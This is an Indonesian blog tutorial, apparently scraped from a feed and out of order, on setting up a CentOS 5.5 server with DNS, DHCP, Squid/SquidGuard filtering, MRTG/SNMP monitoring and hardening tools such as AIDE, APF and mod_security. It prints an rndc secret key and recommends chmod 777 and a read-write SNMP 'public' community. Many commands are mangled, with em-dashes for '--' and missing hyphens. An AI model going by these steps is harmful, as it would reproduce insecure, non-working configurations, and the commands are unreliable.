BL/tracker/ BL/tracker/domains BL/tracker/urls BL/models/ BL/models/domains BL/models/urls BL/forum/ BL/forum/domains BL/forum/urls BL/webtv/ BL/webtv/urls BL/webtv/domains BL/downloads/ BL/downloads/urls BL/downloads/domains BL/ringtones/ BL/ringtones/domains BL/ringtones/urls BL/searchengines/ BL/searchengines/domains BL/searchengines/urls BL/socialnet/ BL/socialnet/urls BL/socialnet/domains BL/updatesites/ BL/updatesites/domains BL/updatesites/urls BL/weapons/ BL/weapons/domains BL/weapons/urls BL/webphone/ BL/webphone/domains BL/webphone/urls BL/global_usage BL/religion/ BL/religion/domains BL/religion/urls BL/sex/ BL/sex/lingerie/ BL/sex/lingerie/urls BL/sex/lingerie/domains BL/sex/education/ BL/sex/education/urls BL/sex/education/domains BL/imagehosting/ BL/imagehosting/domains BL/imagehosting/urls BL/podcasts/ BL/podcasts/domains BL/podcasts/urls BL/hospitals/ BL/hospitals/domains BL/hospitals/urls BL/military/ BL/military/urls BL/military/domains BL/politics/ BL/politics/domains BL/politics/urls BL/remotecontrol/ BL/remotecontrol/urls BL/remotecontrol/domains BL/fortunetelling/ BL/fortunetelling/domains BL/fortunetelling/urls BL/library/ BL/library/domains BL/library/urls BL/costtraps/ BL/costtraps/urls BL/costtraps/domains BL/homestyle/ BL/homestyle/domains BL/homestyle/urls BL/education/ BL/education/schools/ BL/education/schools/domains BL/education/schools/urls BL/government/ BL/government/domains BL/government/urls BL/alcohol/ BL/alcohol/domains BL/alcohol/urls BL/radiotv/ BL/radiotv/domains BL/radiotv/urls [root@ns1 db]# [root@ns1 db]# cd BL [root@ns1 BL] cp -R * /var/lib/squidguard/db [root@ns1 BL]# nano /etc/squid/squidguard.conf dbhome /var/lib/squidguard/db logdir /var/log/squid dest whitelist { domainlist whitelist/domains urllist whitelist/urls } dest adv { domainlist adv/domains urllist adv/urls } acl { default { pass whitelist !adv redirect http://www.xyz.co.id/redirect.html } } [root@ns1 BL]# /usr/bin/squidguard -C all [root@ns1 db]# chmod -R 777 * [root@ns1 db]# chown -R squid:squid /var/lib/squidguard/db/* [root@ns1 squid]# nano /etc/squid/squid.conf url_rewrite_program /usr/bin/squidguard -c /etc/squid/squidguard.conf url_rewrite_children 8 [root@ns1 squid]# /usr/sbin/squid -k reconfigure [root@ns1 db]# tail -f /var/log/squid/cache.log 2010/08/22 08:52:43| Reconfiguring Squid Cache (version 2.6.STABLE21)... 2010/08/22 08:52:43| FD 10 Closing HTTP connection 2010/08/22 08:52:43| FD 12 Closing ICP connection 2010/08/22 08:52:43| Initialising SSL. 2010/08/22 08:52:43| User-Agent logging is disabled. 2010/08/22 08:52:43| Referer logging is disabled. 2010/08/22 08:52:43| DNS Socket created at 0.0.0.0, port 52827, FD 9 2010/08/22 08:52:43| Adding nameserver 202.137.2x.2xx from squid.conf 2010/08/22 08:52:43| helperOpenServers: Starting 8 ‘squidguard’ processes 2010/08/22 08:52:43| Accepting transparently proxied HTTP connections at 0.0.0.0, port 3128, FD 19. 2010/08/22 08:52:43| Accepting ICP messages at 0.0.0.0, port 3130, FD 20. 2010/08/22 08:52:43| WCCP Disabled. 2010/08/22 08:52:43| Loaded Icons. 2010/08/22 08:52:43| Ready to serve requests. Instalasi FTP Server menggunakan VSFTP [root@ns1 gtoms]# yum install vsftpd Disini tinggal mengkonfigurasi user untuk akses ke webserver. Instalasi MRTG [root@ns1 gtoms]# yum install mrtg net-snmp net-snmp-utils Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile addons: centos.idrepo.or.id base: centos.idrepo.or.id epel: bali.idrepo.or.id extras: centos.idrepo.or.id updates: centos.idrepo.or.id addons | 951 B 00:00 base | 2.1 kB 00:00 epel | 3.4 kB 00:00 extras | 2.1 kB 00:00 updates | 1.9 kB 00:00 Setting up Install Process Package 1:net-snmp-5.3.2.2-9.el5_5.1.i386 already installed and latest version————————cut—————————————- Installed: mrtg.i386 0:2.14.5-2 net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 Complete! [root@ns1 gtoms]# [root@ns1 gtoms]# nano /etc/snmp/snmpd.conf com2sec local localhost public com2sec mynetwork 192.168.0.0/24 public group MyRWGroup v1 local group MyRWGroup v2c local group MyRWGroup usm local group MyROGroup v1 mynetwork group MyROGroup v2c mynetwork group MyROGroup usm mynetwork view all included .1 80 access MyROGroup “” any noauth exact all none none access MyRWGroup “” any noauth exact all all none syslocation PT. xyz, Jakarta syscontact Root [root@ns1 gtoms]# /etc/init.d/snmpd start Starting snmpd: [ OK ] [root@ns1 gtoms]# [root@ns1 gtoms]# tail -f /var/log/messages Aug 21 21:13:50 ns1 yum: Installed: 1:net-snmp-utils-5.3.2.2-9.el5_5.1.i386 Aug 21 21:13:53 ns1 yum: Installed: mrtg-2.14.5-2.i386 Aug 21 21:22:54 ns1 snmpd[7612]: Creating directory: /var/net-snmp Aug 21 21:22:54 ns1 snmpd[7612]: NET-SNMP version 5.3.2.2 [root@ns1 gtoms]# /usr/bin/snmpwalk v 1 -c public localhost IPMIB::ipAdEntIfIndex IP-MIB::ipAdEntIfIndex.127.0.0.1 = INTEGER: 1 IP-MIB::ipAdEntIfIndex.192.168.0.2 = INTEGER: 3 IP-MIB::ipAdEntIfIndex.202.137.2x.2xx = INTEGER: 2 [root@ns1 gtoms]# [root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@localhost [root@ns1 gtoms]# /usr/bin/indexmaker—output=/var/www/mrtg/index.html /etc/mrtg/mrtg.cfg [root@ns1 mrtg]# nano /etc/cron.d/mrtg */5 * * * * root LANG=C LC_ALL=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg—lock-file /var/lock/mrtg/mrtg_l—confcache-file /var/lib/mrtg/mrtg.ok [root@ns1 mrtg]# nano /etc/httpd/conf.d/mrtg.conf Alias /mrtg /var/www/mrtg Order deny,allow Deny from all Allow from 127.0.0.1 Allow from ::1 [root@ns1 mrtg]# /etc/init.d/httpd restart Stopping httpd: [ OK ] Starting httpd: [ OK ] Untuk mengkases melalui browser ke http://iphostname/mrtg/ Memonitor server/router lain kedalam MRTG Jika menggunakan device router/modem tinggal mengaktifkan snmp, jika server lain linux ingin di monitor tinggal menginstall snmp, contoh disini pada server lain dengan IP 202.137.2x.2zz : [root@mail gtoms]# yum install net-snmp net-snmp-utils Setting up Install Process Parsing package install arguments Resolving Dependencies—&amp;gt; Running transaction check—-&amp;gt; Package net-snmp.i386 1:5.3.2.2-9.el5_5.1 set to be updated—&amp;gt; Processing Dependency: libsensors.so.3 for package: net-snmp—&amp;gt; Processing Dependency: net-snmp-libs = 1:5.3.2.2-9.el5_5.1 for package: net-snmp—-&amp;gt; Package net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 set to be updated—&amp;gt; Running transaction check—-&amp;gt; Package net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1 set to be updated—-&amp;gt; Package lm_sensors.i386 0:2.10.7-9.el5 set to be updated—&amp;gt; Finished Dependency Resolution ———————-cutt————————————- Installed: net-snmp-utils.i386 1:5.3.2.2-9.el5_5.1 Dependency Installed: lm_sensors.i386 0:2.10.7-9.el5 net-snmp.i386 1:5.3.2.2-9.el5_5.1 Updated: net-snmp-libs.i386 1:5.3.2.2-9.el5_5.1 Complete! [root@mail gtoms]# [root@mail gtoms]# nano /etc/snmp/snmpd.conf com2sec local localhost public com2sec mynetwork 192.168.0.0/24 public group MyRWGroup v1 local group MyRWGroup v2c local group MyRWGroup usm local group MyROGroup v1 mynetwork group MyROGroup v2c mynetwork group MyROGroup usm mynetwork view all included .1 80 access MyROGroup “” any noauth exact all none none access MyRWGroup “” any noauth exact all all none syslocation Zimbra Mailserver XYZ, Jakarta syscontact Root [root@mail gtoms]# /etc/init.d/snmpd start Starting snmpd: [ OK ] [root@mail gtoms]# Kembali ke server MRTG nya [root@ns1 gtoms]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@202.137.2x.2zz [root@ns1 mrtg]# /usr/bin/cfgmaker—global ‘WorkDir: /var/www/mrtg’—output /etc/mrtg/mrtg.cfg public@192.168.0.1 Instalasi Webmin [root@ns1 gtoms]# rpm U webmin1.510-1.noarch.rpm warning: webmin-1.510-1.noarch.rpm: Header V3 DSA signature: NOKEY, key ID 11f63c51 Operating system is CentOS Linux Webmin install complete. You can now login to https://ns1.xyz.co.id:10000/ as root with your root password. [root@ns1 gtoms]# Instalasi IDS mengunakan The Advanced Intrusion Detection Environmen Untuk mengkonfigurasi AIDE, SELINUX harus enabled. [root@ns1 gtoms]# yum install aide [root@ns1 gtoms]# /usr/sbin/aide—init [root@ns1 gtoms]# cp /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz [root@ns1 gtoms]# /usr/sbin/aide—check [root@ns1 gtoms]# aide—check AIDE, version 0.13.1 ### All files match AIDE database. Looks okay! [root@ns1 gtoms]# vi /etc/cron.weekly/aide.cron #!/bin/bash /usr/sbin/aide—check | /bin/mail -s “Weekly Aide Data” IT@zyx.co.id Instalasi DDOS protection APF —Advanced Policy-based Firewall [root@ns1 gtoms]# wget http://rfxnetworks.com/downloads/apf-current.tar.gz [root@ns1 gtoms]# tar xfz apf-current.tar.gz [root@ns1 apf-current]# cd apf-* [root@ns1 apf-current]# ./install.sh [root@ns1 apf-current]# vi /etc/apf/conf.apf DEVEL_MODE=”0” IG_TCP_CPORTS=”21,22,25,53,80,110,143,443,3306” IG_UDP_CPORTS=”53,111” USE_AD=”1” [root@ns1 apf-current]# vi /etc/apf/ad/conf.antidos sesuaikan sendiri …. BFD —Brute Force Detection [root@ns1 gtoms]# wget http://rfxnetworks.com/downloads/bfd-current.tar.gz [root@ns1 gtoms]# tar xfz bfd-current.tar.gz [root@ns1 bfd-current]# cd bfd-* [root@ns1 bfd-current]# ./install.sh [root@ns1 bfd-current]# vi /usr/local/bfd/conf.bfd ALERT=”1” EMAIL_USR=”IT@xyz.co.id” [root@ns1 bfd-current]# vi /usr/local/bfd/ignore.hosts sesuaikan sendiri …. DDoS Deflate [root@ns1 gtoms]# wget http://sourceforge.net/projects/rkhunter...z/download [root@ns1 gtoms]# tar xfz rkhunter-1.3.6.tar.gz [root@ns1 gtoms]# cd rkhunter-1.3.6 [root@ns1 rkhunter-1.3.6]# ./installer.sh [root@ns1 rkhunter-1.3.6]# run rkhunter [root@ns1 rkhunter-1.3.6]# rkhunter -c Install Mod_dosevasive untuk Apache [root@ns1 gtoms]# wget http://www.zdziarski.com/projects/mod_ev...0.1.tar.gz [root@ns1 gtoms]# tar -zxvf mod_evasive_1.10.1.tar.gz [root@ns1 gtoms]# cd mod_evasive_1.10.1 [root@ns1 mod_evasive_1.10.1]# $APACHE_ROOT/bin/apxs -cia mod_evasive20.c [root@ns1 mod_evasive_1.10.1]# vi /usr/local/apache/conf/httpd.conf DOSHashTableSize 3097 DOSPageCount 2 DOSSiteCount 50 DOSPageInterval 1 DOSSiteInterval 1 DOSBlockingPeriod 300 [root@ns1 mod_evasive_1.10.1]# /usr/loca/apache/bin/apachectl restart Install Mod_security [root@ns1 gtoms]# http://www.modsecurity.org/download/mods...9.2.tar.gz [root@ns1 gtoms]# tar zxvf modsecurityapache-1.9.2.tar.gz [root@ns1 gtoms]# cd modsecurity-apache-1.9.2 [root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apxs -cia mod_security.c Buat sebuah file dengan nama mod_security.conf didalam folder /usr/local/apache/conf [root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/mod_security.conf Rules yang dapat kita buat bisa merujuk ke http://www.modsecurity.org/documentation...mples.html Kita masukkan path mod_security.conf kedalam file httpd.conf [root@ns1 modsecurity-apache-1.9.2]# vi /usr/local/apache/conf/httpd.conf /usr/local/apache/conf/mod_security.conf [root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl stop [root@ns1 modsecurity-apache-1.9.2]# /usr/local/apache/bin/apachectl start Selesai,Tinggal memonitor. Sedikit Tambahan Dari saya. salah satu MRTG itu fungsinya buat ngelihat bandwidth monitoring. ini kalau buat windows 1. aktifkan SNMP pada windows masuk ke control panel –&amp;gt; add or remove programs –&amp;gt; add/remove windows components –&amp;gt; centang management and monitoring tools, klik details 2. download dan install Perl 3. download paket mrtg kemudian install/ekstrak di http://oss.oetiker.ch/mrtg/pub/?M=D 4. rename folder hasil ekstraknya dengan mrtg 5. lalu buat satu folder baru dan beri nama mrtghtml 6. membuat setting konfigurasi dengan cfgmaker masuk ke cmd, misal mrtg berada pada drive D Microsoft Windows DOS Copyright Microsoft Corp 1990-1999 C:\&amp;gt;d: D:\&amp;gt;cd mrtg\bin D:\mrtg\bin&amp;gt;perl cfgmaker public@202.158.170.1 --global "WorkDir: d:\mrtghtml" --output server.cfg Nanti dihasilkan sebuah file server.cfg 7. sebelum me-run mrtg, sebaiknya dibuat indexmaker agar semua interface yang diamati tersebut bisa dilihat secara bersamaan, ga satu per satu D:\mrtg\bin&amp;gt;perl indexmaker --output index.htm server.cfg diperoleh file index.htm, lalu copy-kan ke direktory D:\mrtghtml 8. masuk ke D:\mrtg\bin kemudian edit file server.cfg pake notepad. Tambahkan : RunAsDaemon: Yes Interval: 5 Agar mrtg selalu merefresh tiap 5 menit sekali Options[_]: bits ShortLegend[_]: b/s Untuk mengubah parameter skala bytes menjadi bits 9. menjalankan mrtg D:\mrtg\bin&amp;gt;perl mrtg server.cfg Sekian Dulu Dari Saya Nanti saya akan Update Kembali Jika Ada Kesalahan.</itunes:subtitle><itunes:author>noreply@blogger.com (Blackmygo)</itunes:author><itunes:summary>Install DNS,DHCP,Webserver,Proxy,FTP,DDOS protection,IDS [root@ns1 gtoms]# uname -a Linux ns1.xyz.co.id 2.6.18-194.11.1.el5 #1 SMP Tue Aug 10 19:09:06 EDT 2010 i686 i686 i386 GNU/Linux [root@ns1 gtoms]# cat /etc/redhat-release CentOS release 5.5 (Final) [root@ns1 gtoms]# /sbin/ifconfig eth0 Link encap:Ethernet HWaddr 00:50:BA:C3:71:D2 inet addr:202.137.2x.2xx Bcast:202.137.20.223 Mask:255.255.255.240 inet6 addr: fe80::250:baff:fec3:71d2/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:1028 errors:0 dropped:0 overruns:0 frame:0 TX packets:757 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:93229 (91.0 KiB) TX bytes:143908 (140.5 KiB) Interrupt:209 Base address:0×2000 eth1 Link encap:Ethernet HWaddr 00:13:D4:01:65:1F inet addr:192.168.0.2 Bcast:192.168.0.255 Mask:255.255.255.0 UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:1124 errors:0 dropped:0 overruns:0 frame:0 TX packets:1124 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1981916 (1.8 MiB) TX bytes:1981916 (1.8 MiB) Instalasi Domain Name Server sebagai Primary Nameserver [root@ns1 selinux]# yum install bind-chroot Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile addons: centos.idrepo.or.id base: centos.idrepo.or.id extras: centos.idrepo.or.id updates: centos.idrepo.or.id Setting up Install Process Package 30:bind-chroot-9.3.6-4.P1.el5_4.2.i386 already installed and latest version Nothing to do [root@ns1 gtoms]# [root@ns1 gtoms]# chmod 755 /var/named/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/var/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/var/named/ [root@ns1 gtoms]# chmod 775 /var/named/chroot/var/run/ [root@ns1 gtoms]# chmod 777 /var/named/chroot/var/run/named/ [root@ns1 gtoms]# cd /var/named/chroot/var/named/ [root@ns1 named]# ln -s ../../ chroot [root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.local /var/named/chroot/var/named/named.local [root@ns1 named] cp /usr/share/doc/bind-9.3.6/sample/var/named/named.root /var/named/chroot/var/named/named.root [root@ns1 named] touch /var/named/chroot/etc/named.conf.local [root@ns1 named]# nano /var/named/chroot/etc/named.conf key “rndckey” { algorithm hmac-md5; secret “PatIBVa6D1zrSKnEOBsO4siZyJO0cytbujld1boBT7W8RrVee5dsCkGSID79”; }; options { listen-on port 53 { 127.0.0.1; 192.168.0.2; 202.137.2x.2xx; }; listen-on-v6 port 53 { ::1; }; directory “/var/named/chroot/var/named”; dump-file “/var/named/chroot/var/named/data/cache_dump.db”; statistics-file “/var/named/chroot/var/named/data/named_stats.txt”; memstatistics-file “/var/named/chroot/var/named/data/named_mem_stats.txt”; allow-query { localhost; }; recursion yes; }; logging { channel default_debug { file “data/named.run”; severity dynamic; }; }; zone “.” IN { type hint; file “named.root”; }; zone “xyz.co.id” IN { type om; file “data/xyz.co.id.zone”; allow-update { none; }; }; [root@ns1 named]# nano /var/named/chroot/var/named/data/xyz.co.id $ORIGIN . $TTL 86400 ; 1 day xyz.co.id IN SOA ns1.xyz.co.id. admin.xyz.co.id. ( 2010082100 7200 7200 1209600 86400 ) NS ns1.xyz.co.id. NS ns2.xyz.co.id. A 202.137.2x.2xx MX 10 mail.xyz.co.id. $ORIGIN xyz.co.id. webmail A 202.137.2x.2zz ns1 A 202.137.2x.2xx ns2 A 202.137.2x.2yy mail A 202.137.2x.2zz www A 202.137.2x.2xx mail2 A 202.137.2x.2yy xyz.co.id. IN TXT “PT. xyz” IP 202.137.2x.2zz dengan mail.xyz.co.id merupakan server mailserver menggunakan Zimbra 6.0.6 berada beda mesin dengan server ini. [root@ns1 named]# /etc/init.d/named start Starting named: [ OK ] [root@ns1 etc]# tail -f /var/log/messages Aug 21 11:31:35 ns1 named[3766]: starting BIND 9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2 -u named -t /var/named/chroot Aug 21 11:31:35 ns1 named[3766]: adjusted limit on open files from 1024 to 1048576 Aug 21 11:31:35 ns1 named[3766]: found 2 CPUs, using 2 worker threads Aug 21 11:31:35 ns1 named[3766]: using up to 4096 sockets Aug 21 11:31:35 ns1 named[3766]: loading configuration from ‘/etc/named.conf’ Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv4 port range: [1024, 65535] Aug 21 11:31:35 ns1 named[3766]: using default UDP/IPv6 port range: [1024, 65535] Aug 21 11:31:35 ns1 named[3766]: listening on IPv6 interface lo, ::1#53 Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface lo, 127.0.0.1#53 Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth1, 192.168.0.2#53 Aug 21 11:31:35 ns1 named[3766]: listening on IPv4 interface eth0, 202.137.2x.2xx#53 Aug 21 11:31:35 ns1 named[3766]: command channel listening on 127.0.0.1#953 Aug 21 11:31:35 ns1 named[3766]: command channel listening on ::1#953 Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: loaded serial 2010082100 Aug 21 11:31:35 ns1 named[3766]: running Aug 21 11:31:35 ns1 named[3766]: zone xyz.co.id/IN: sending notifies (serial 2010082100) Instalasi DHCP Server [root@ns1 data]# yum install dhcp Loaded plugins: fastestmirror Loading mirror speeds from cached hostfile addons: centos.idrepo.or.id base: centos.idrepo.or.id extras: centos.idrepo.or.id updates: centos.idrepo.or.id Setting up Install Process Resolving Dependencies—&amp;gt; Running transaction check—-&amp;gt; Package dhcp.i386 12:3.0.5-23.el5_5.1 set to be updated—&amp;gt; Finished Dependency Resolution ——————————————cut————————————————————- Total download size: 867 k Is this ok [y/N]: y Downloading Packages: dhcp-3.0.5-23.el5_5.1.i386.rpm | 867 kB 00:00 Running rpm_check_debug Running Transaction Test Finished Transaction Test Transaction Test Succeeded Running Transaction Installing : dhcp 1/1 Installed: dhcp.i386 12:3.0.5-23.el5_5.1 Complete! [root@ns1 data]# [root@ns1 data]# nano /etc/dhcpd.conf authoritative; ddns-update-style interim; ignore client-updates; subnet 192.168.0.0 netmask 255.255.255.0 { option routers 192.168.0.2; option subnet-mask 255.255.255.0; option domain-name “xyz.co.id”; option domain-name-servers 192.168.0.2,202.137.2x.2xx; range dynamic-bootp 192.168.0.9 192.168.0.254; default-lease-time 43200; max-lease-time 604800; } Range IP untuk seluruh komputer karyawan 192.168.0.9 192.168.0.254 [root@ns1 data]# /etc/init.d/dhcpd start Starting dhcpd: [ OK ] [root@ns1 data]# tail -f /var/log/messages Aug 21 11:44:36 ns1 dhcpd: Internet Systems Consortium DHCP Server V3.0.5-RedHat Aug 21 11:44:36 ns1 dhcpd: Copyright 2004-2006 Internet Systems Consortium. Aug 21 11:44:36 ns1 dhcpd: All rights reserved. Aug 21 11:44:36 ns1 dhcpd: For info, please visit http://www.isc.org/sw/dhcp/ Aug 21 11:44:36 ns1 dhcpd: Wrote 0 leases to leases file. Aug 21 11:44:36 ns1 dhcpd: Aug 21 11:44:36 ns1 dhcpd: No subnet declaration for eth0 (202.137.2x.2xx). Aug 21 11:44:36 ns1 dhcpd: ** Ignoring requests on eth0. If this is not what Aug 21 11:44:36 ns1 dhcpd: you want, please write a subnet declaration Aug 21 11:44:36 ns1 dhcpd: in your dhcpd.conf file for the network segment Aug 21 11:44:36 ns1 dhcpd: to which interface eth0 is attached. ** Aug 21 11:44:36 ns1 dhcpd: Aug 21 11:44:36 ns1 dhcpd: Listening on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24 Aug 21 11:44:36 ns1 dhcpd: Sending on LPF/eth1/00:13:d4:01:65:1f/192.168.0/24 Aug 21 11:44:36 ns1 dhcpd: Sending on Socket/fallback/fallback-net 3766 ? Ssl 0:00 /usr/sbin/named -u named -t /var/named/chroot 3928 ? Ss 0:00 /usr/sbin/dhcpd [root@ns1 gtoms]# Instalasi Webserver menggunakan Apache [root@ns1 gtoms]# yum install httpd httpd-devel mysql-server php php-mysql php-mbstring php-mcrypt [root@ns1 gtoms]# nano /etc/httpd/conf/httpd.conf Listen 202.137.2x.2xx:80 NameVirtualHost *:80 ServerAdmin webmaster@xyz.co.id DocumentRoot /home/webxyz ServerName xyz.co.id ServerAlias http://www.xyz.co.id ServerAdmin webmaster@xyz.co.id DocumentRoot /var/www/html/stat ServerName xyz.co.id/stat ServerAlias http://www.xyz.co.id/stat Options Indexes FollowSymLinks MultiViews AllowOverride All Order allow,deny Allow from all Instalasi SQUID sebagai cache proxy server [root@ns1 gtoms]# yum install squid [root@ns1 gtoms]# cd /etc/squid [root@ns1 squid] nano squid.conf [root@ns1 squid]# /usr/sbin/squid -z Instalasi SQUIDGUARD sebagai content filtering. [root@ns1 gtoms]# wget http://www.excaliburtech.net/wp-content/...2010-08-21 18:49:02—http://www.excaliburtech.net/wp-content/uploads/2009/02/squidguard-1.4-3.i386.rpm Resolving http://www.excaliburtech.net… 72.66.114.15 Connecting to http://www.excaliburtech.net|72.66.114.15|:80… connected. HTTP request sent, awaiting response… 200 OK Length: 119416 (117K) [application/x-rpm] Saving to: `squidguard-1.4-3.i386.rpm’ 2010-08-21 18:49:05 (54.0 KB/s) – `squidguard-1.4-3.i386.rpm’ saved [119416/119416] [root@ns1 gtoms]# rpm ivh squidguard1.4-3.i386.rpm Preparing… ########################################### [100%] 1:squidguard ########################################### [100%] [root@ns1 gtoms]# locate squidguard /etc/logrotate.d/squidguard /etc/squid/squidguard.conf /home/gtoms/squidguard-1.4-3.i386.rpm /usr/bin/squidguard /usr/libexec/webmin/blue-theme/squidguard /usr/libexec/webmin/blue-theme/squidguard/images /usr/libexec/webmin/blue-theme/squidguard/images/icon.gif /usr/share/doc/squidguard-1.4 /usr/share/doc/squidguard-1.4/LDAPFlow.txt /usr/share/doc/squidguard-1.4/authentication.html /usr/share/doc/squidguard-1.4/authentication.txt /usr/share/doc/squidguard-1.4/configuration.html /usr/share/doc/squidguard-1.4/configuration.txt /usr/share/doc/squidguard-1.4/configure.html /usr/share/doc/squidguard-1.4/configure.txt /usr/share/doc/squidguard-1.4/expressionlist.html /usr/share/doc/squidguard-1.4/expressionlist.txt /usr/share/doc/squidguard-1.4/extended.html /usr/share/doc/squidguard-1.4/extended.txt /usr/share/doc/squidguard-1.4/faq.html /usr/share/doc/squidguard-1.4/faq.txt /usr/share/doc/squidguard-1.4/features.html /usr/share/doc/squidguard-1.4/features.txt /usr/share/doc/squidguard-1.4/index.html /usr/share/doc/squidguard-1.4/install.html /usr/share/doc/squidguard-1.4/install.txt /usr/share/doc/squidguard-1.4/installation.html /usr/share/doc/squidguard-1.4/installation.txt /usr/share/doc/squidguard-1.4/ldap-ad-tips.html /usr/share/doc/squidguard-1.4/ldap-ad-tips.txt /usr/share/doc/squidguard-1.4/ldap.html /usr/share/doc/squidguard-1.4/ldap.txt /usr/share/doc/squidguard-1.4/runtimeops.html /usr/share/doc/squidguard-1.4/runtimeops.txt /usr/share/doc/squidguard-1.4/sample.conf /usr/share/doc/squidguard-1.4/squidguard-simple.cgi /usr/share/doc/squidguard-1.4/squidguard.cgi /usr/share/doc/squidguard-1.4/squidguard.gif /usr/share/doc/squidguard-1.4/troubleshoot.html /usr/share/doc/squidguard-1.4/troubleshoot.txt Sebelum mengkonfigurasi squidguard.conf install dahulu Shalla’s Blacklists [root@ns1 gtoms]# wget http://www.shallalist.de/Downloads/shallalist.tar.gz%E2%80%942010-08-21 19:02:00—http://www.shallalist.de/Downloads/shallalist.tar.gz Resolving http://www.shallalist.de… 78.47.242.85 Connecting to http://www.shallalist.de|78.47.242.85|:80… connected. HTTP request sent, awaiting response… 200 OK Length: 9670277 (9.2M) [application/x-tar] Saving to: `shallalist.tar.gz’ 11% [============&amp;gt; ] 1,126,182 119K/s eta 80s [root@ns1 gtoms]# mkdir /var/lib/squidguard/db [root@ns1 gtoms]# mv shallalist.tar.gz /var/lib/squidguard/db [root@ns1 gtoms]# cd /var/lib/squidguard/db [root@ns1 db]# gzip -d shallalist.tar.gz [root@ns1 db]# tar xfv shallalist.tar BL/ BL/porn/ BL/porn/domains BL/porn/urls BL/gamble/ BL/gamble/domains BL/gamble/urls BL/chat/ BL/chat/domains BL/chat/urls BL/automobile/ BL/automobile/cars/ BL/automobile/cars/domains BL/automobile/cars/urls BL/automobile/bikes/ BL/automobile/bikes/domains BL/automobile/bikes/urls BL/automobile/boats/ BL/automobile/boats/domains BL/automobile/boats/urls BL/automobile/planes/ BL/automobile/planes/urls BL/automobile/planes/domains BL/recreation/ BL/recreation/humor/ BL/recreation/humor/domains BL/recreation/humor/urls BL/recreation/martialarts/ BL/recreation/martialarts/urls BL/recreation/martialarts/domains BL/recreation/sports/ BL/recreation/sports/domains BL/recreation/sports/urls BL/recreation/travel/ BL/recreation/travel/urls BL/recreation/travel/domains BL/recreation/wellness/ BL/recreation/wellness/domains BL/recreation/wellness/urls BL/recreation/restaurants/ BL/recreation/restaurants/urls BL/recreation/restaurants/domains BL/webradio/ BL/webradio/domains BL/webradio/urls BL/webmail/ BL/webmail/domains BL/webmail/urls BL/warez/ BL/warez/urls BL/warez/domains BL/shopping/ BL/shopping/domains BL/shopping/urls BL/adv/ BL/adv/domains BL/adv/urls BL/movies/ BL/movies/urls BL/movies/domains BL/science/ BL/science/chemistry/ BL/science/chemistry/urls BL/science/chemistry/domains BL/science/astronomy/ BL/science/astronomy/domains BL/science/astronomy/urls BL/hobby/ BL/hobby/pets/ BL/hobby/pets/domains BL/hobby/pets/urls BL/hobby/cooking/ BL/hobby/cooking/domains BL/hobby/cooking/urls BL/hobby/gardening/ BL/hobby/gardening/urls BL/hobby/gardening/domains BL/hobby/games-online/ BL/hobby/games-online/domains BL/hobby/games-online/urls BL/hobby/games-misc/ BL/hobby/games-misc/domains BL/hobby/games-misc/urls BL/violence/ BL/violence/domains BL/violence/urls BL/music/ BL/music/domains BL/music/urls BL/hacking/ BL/hacking/domains BL/hacking/urls BL/isp/ BL/isp/urls BL/isp/domains BL/drugs/ BL/drugs/domains BL/drugs/urls BL/aggressive/ BL/aggressive/domains BL/aggressive/urls BL/news/ BL/news/urls BL/news/domains BL/redirector/ BL/redirector/urls BL/redirector/domains BL/spyware/ BL/spyware/domains BL/spyware/urls BL/dating/ BL/dating/urls BL/dating/domains BL/finance/ BL/finance/banking/ BL/finance/banking/urls BL/finance/banking/domains BL/finance/other/ BL/finance/other/domains BL/finance/other/urls BL/finance/moneylending/ BL/finance/moneylending/domains BL/finance/moneylending/urls BL/finance/insurance/ BL/finance/insurance/urls BL/finance/insurance/domains BL/finance/realestate/ BL/finance/realestate/domains BL/finance/realestate/urls BL/finance/trading/ BL/finance/trading/domains BL/finance/trading/urls BL/dynamic/ BL/dynamic/urls BL/dynamic/domains BL/COPYRIGHT BL/jobsearch/ BL/jobsearch/urls BL/jobsearch/domains BL/tracker/ BL/tracker/domains BL/tracker/urls BL/models/ BL/models/domains BL/models/urls BL/forum/ BL/forum/domains BL/forum/urls BL/webtv/ BL/webtv/urls BL/webtv/domains BL/downloads/ BL/downloads/urls BL/downloads/domains BL/ringtones/ BL/ringtones/domains BL/ringtones/urls BL/searchengines/ BL/searchengines/domains BL/searchengines/urls BL/socialnet/ BL/socialnet/urls BL/socialnet/domains BL/updatesites/ BL/updatesites/domains BL/updatesites/urls BL/weapons/ BL/weapons/domains BL/weapons/urls BL/webphone/ BL/webphone/domains BL/webphone/urls BL/global_usage BL/religion/ BL/religion/domains BL/religion/urls BL/sex/ 